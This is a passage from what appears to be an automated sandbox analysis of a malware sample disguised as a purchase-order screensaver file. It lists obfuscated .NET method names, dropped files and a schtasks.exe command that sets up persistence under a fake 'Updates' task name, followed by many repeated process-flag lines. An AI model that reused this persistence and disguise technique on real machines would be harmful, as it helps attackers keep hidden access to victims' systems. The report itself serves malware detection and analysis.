Source: 0.2.RFQ_P.O.1212024.scr.53f0000.5.raw.unpack, ChRdp5Xbobw2elyK2ZM.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QRGQgxm9cq', 'j04QVFn3an', 'GJwQW8mObB', 'vxaQQhqkLw', 'B88QYHJ1qK', 'LxsQ16g75I', 'hlmQSaK8BO'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, p9whqVMj7km6hvFd4B.cs	High entropy of concatenated method names: 'WdyofoXAj', 'gaFalC21b', 'gGiH9AfTA', 'efqA1TnpU', 'bRl34BSYF', 'PO0GKx5Ex', 'SZAQxNyAZf4mah7DB8', 'kEDXlUlXVBtMcBCxFS', 'e4RJ4qgy3', 'bQjV3j0dE'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, MZC66lyJS5fEAyDFsA.cs	High entropy of concatenated method names: 'Pq3BrP2rPy', 'gZFB412JHr', 'oYWBFQKnrJ', 'VBnB61Qn7d', 'IvjBtZfVIc', 'bCqFwOKlV8', 'bGYFKPQbEp', 'qpcFp2LCZ9', 'jeQFcCENbG', 'gxUFx7gbHO'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, DCZlwmmiGGJ8he9Pdm.cs	High entropy of concatenated method names: 'ToString', 'gbBCTTkK4c', 'eX0CZZKx8P', 'JFECPbR86b', 'I5NC8hdjd2', 'wt5CvoumQI', 'GJcC5lk6DR', 'gKYCDHAZTS', 'vFUCuqOjlg', 'GlECdbw21W'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, a8I4p6KMHEsK9Nkxwx.cs	High entropy of concatenated method names: 'G0lhcoIBcL', 'iDvhRn7pBN', 'HNjJ2M7tl8', 'PEoJXH85in', 'SXmhTYyxaL', 'BAfhl6xMOj', 'RDxh0xePAE', 'n8EhesRtmV', 'dOUhnpxfdy', 'gRIhmPtOLl'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, s3kk7jb7SDrahtghN8.cs	High entropy of concatenated method names: 'qkXX6hfevc', 'SMYXtctH7v', 'ekBXk3wfCa', 'iFvXLjwlXE', 'dPpX9v5uZC', 'j6lXCJS5fE', 'p4MMACW7jYpdjW6wyS', 'MFscCCT8BB1U9PChgi', 'VQadIwOMC4XMRWs6AH', 'roMXXn8MOq'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, S6CYiadgd1bbv4MQCM.cs	High entropy of concatenated method names: 'GBS6OvFFJV', 'qIi6NEyvxJ', 'kfj6oIAtQn', 'R6s6aSFtRZ', 'WLd6UX0v6H', 'Kqk6HTiDLU', 'B886AgBabl', 'D8K6iu72Za', 'FWB63eetox', 'b386Giivvg'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ybmdBps6EBLDHEsODi.cs	High entropy of concatenated method names: 'vcdhk2Iwet', 'ogDhL9jLnC', 'ToString', 'wfehEo05gy', 'h5Qh4oSUH5', 'wmwh7T3NE7', 'AgghFMmybj', 'CGRhBR9PS8', 'VVkh6wuqTu', 'exhhtUkVBn'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, UmmxlKRVrJuuCq8qcB.cs	High entropy of concatenated method names: 'W5eV7uLhxx', 'LLKVFTw8Ju', 'hmrVBe3Q9p', 'sSxV6gVvve', 'fhkVg8pxkk', 'QVJVt0btWx', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, oUBP47XMvqWrjoQmcNf.cs	High entropy of concatenated method names: 'ToString', 'fSOWijJAMi', 'vfuW3Fdo6n', 'EL8WGTD64L', 'F3HWyxdcpC', 'D6mWZMapdS', 'exMWPiA1Uu', 'pdrW8uXoVs', 'lKqiqK0W95uN81vvF2H', 'GIRxlv0ARLbl7Q3eUKi'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, UlXExhGXDZPw1jPpv5.cs	High entropy of concatenated method names: 'akLFU7OdEK', 'eMHFADcwbh', 'UEf7Pc7CU2', 'ljR787Bk0D', 'KK07vnmcrT', 'IUJ75SLwpS', 'w5C7DEf1AD', 'CGl7uHkf08', 'VPJ7d4nqqN', 'tto7q2PmTw'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, bhfevcinMYctH7vReL.cs	High entropy of concatenated method names: 'lBD4eRDJqQ', 'Yi44nMIkTA', 'lmB4mrQ41x', 'hlX4sZWwZd', 'Yss4wyB11F', 'qU34Kx031x', 'vyL4pOBMOE', 'wpD4cjsx5P', 'ypW4xcylEV', 'fLb4RHG0Bm'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, QA77Vy5wHffBZWP1MA.cs	High entropy of concatenated method names: 'qyABmOJrhC', 'rBmBsiwmtK', 'UBCBw5ZCFL', 'ToString', 'dicBKpmAen', 'os7BpT4P38', 'BwuasOZLEHP2qQLfWpP', 'Yd4uv1ZlUi8SylaVlni', 'sWeY0PZYEk6DNw8KfXD'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, NrVMJxDdfbtvtBhJeH.cs	High entropy of concatenated method names: 'Ge06ETdhYx', 'tRH67kVc70', 'bN36B0PDKr', 'RHSBRrQkUQ', 'PrABzbhftw', 'aIn62kXT5f', 'RDZ6XTXC7D', 'FP06MPWc1J', 'tbC6jArUAc', 'Ab76bhitIT'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, N19SIUX2lsGqOUG78NH.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Kk3VTYjd2K', 'Bu0Vl2D4tj', 'JcmV0aGPBm', 'M8VVeXcRJD', 'FTbVnZdgXv', 'PliVmo1O7P', 'cF9VsMraLy'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, zw6oei0qks56CqEOgd.cs	High entropy of concatenated method names: 'VOgfihTZOW', 'C0vf3nXVCy', 'P0mfytYIpj', 'XQMfZZIkmF', 'ePbf8NOb1J', 'HSWfvC9xxb', 'XlgfDnP0np', 'wQ9fuFDjd1', 'mxffqiJlny', 'W82fTBK10P'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, T4Cjyr3kB3wfCaBFvj.cs	High entropy of concatenated method names: 'L9h7ayt0lH', 't0m7HpbhlV', 'swZ7ing4fK', 'xJ473SqBaE', 'v4h79C9Rt2', 'Ia47CAkwYC', 'vXI7hgZmos', 'YPh7JA8AYF', 'X6f7gmaMX4', 'jDs7VFdCyh'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ElmNrXtZw4MREHe3PO.cs	High entropy of concatenated method names: 'TDNjrcwZfl', 'OY9jEYGKAg', 'PsEj4SKcoe', 'rQTj7qYuSM', 'gXijF41xqX', 'xGTjBgYDqT', 'gbgj6DFLsc', 'DyWjtqM4Bc', 'J3MjI51INh', 'anhjk3sq7h'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, QytIh1XXDKo5MP7oJ4d.cs	High entropy of concatenated method names: 'GhyVR2snxZ', 'EZ8VzBeFp2', 'n9HW24S1EZ', 'uvUWXWp93J', 'IXlWMpBL7Z', 'yfBWjP9RSs', 'cdhWb3xrIG', 'hx6WrdQ89V', 'gyeWE5Z2tX', 'qnTW4rRMts'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, HvVJuo8ktUaN28KN6D.cs	High entropy of concatenated method names: 'Y4PBSM75ye', 'gCjBOD9STi', 'wjvBouF63p', 'PqNBaZALQr', 'cDGBHInm7u', 'znIBAeqrFM', 'z87B3dpNrR', 'yopBGmMkmK', 'NZR1XqZi5is5nCyW5FM', 'SHSVwcZaJBktpg33Usm'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, DdWhTCpLUOFOaZUA7y.cs	High entropy of concatenated method names: 'YcZg9htX5b', 'pXXghEjK8h', 'T0UggM5bLa', 'CvLgWPJL7N', 'gCjgYxyEcK', 'DfMgSU7WWG', 'Dispose', 'UyAJEch5kF', 'a1gJ4iL4wY', 'I1cJ7Iu4hx'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, VLHFBaZiQVfOIFJqar.cs	High entropy of concatenated method names: 'YmyXbgZVqoVNNQhDjJ2', 'wWyYhxZXb16abobf00h', 'v9XBJ70gxP', 'ciMBgLH0ba', 'OarBVHZ8A4', 'AL2Nw9ZEWI4XCMRNCFq', 'F6OpQlZoUpdcsSZZ9uM', 'BVVujIZcFO7HodAH4w5'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, U8An9uxiYkVBxn8NPY.cs	High entropy of concatenated method names: 'zaFgyLF56i', 'keRgZANsdr', 'qsvgPARIKC', 'VNag80fWGY', 'yKlgvcgeYD', 'Xcig50Ylm3', 'YmBgDF7NmX', 'UiHguXf4Mc', 'H7RgdCODfg', 'rgJgqlURLV'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, WxiPQ2413yrVZaeiGh.cs	High entropy of concatenated method names: 'Dispose', 'xFOXxaZUA7', 'BjyMZgSnAK', 'VHGxJT8WRl', 'G9RXRwds82', 'N3wXzQ4y7i', 'ProcessDialogKey', 'zlwM28An9u', 'DYkMXVBxn8', 'yPYMMwmmxl'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, iIr6kyzks73p42nxWv.cs	High entropy of concatenated method names: 'HjRVHmyo2b', 'fQDVi3X1G0', 'on9V39uAU2', 'maxVy1I1HC', 'UuoVZJo3tW', 'Q37V8hBDgV', 'L0rVvU63LL', 'g4KVS0P3Yu', 'DABVOUW2De', 'dnJVNcW4Ub'
Source: 0.2.RFQ_P.O.1212024.scr.4362708.4.raw.unpack, ChRdp5Xbobw2elyK2ZM.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QRGQgxm9cq', 'j04QVFn3an', 'GJwQW8mObB', 'vxaQQhqkLw', 'B88QYHJ1qK', 'LxsQ16g75I', 'hlmQSaK8BO'

Source: C:\Windows\SysWOW64\msinfo32.exe	File created: C:\Users\user\AppData\Local\Temp\sqlite3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	File created: C:\Users\user\AppData\Roaming\PEJmengI.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp61C0.tmp"

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
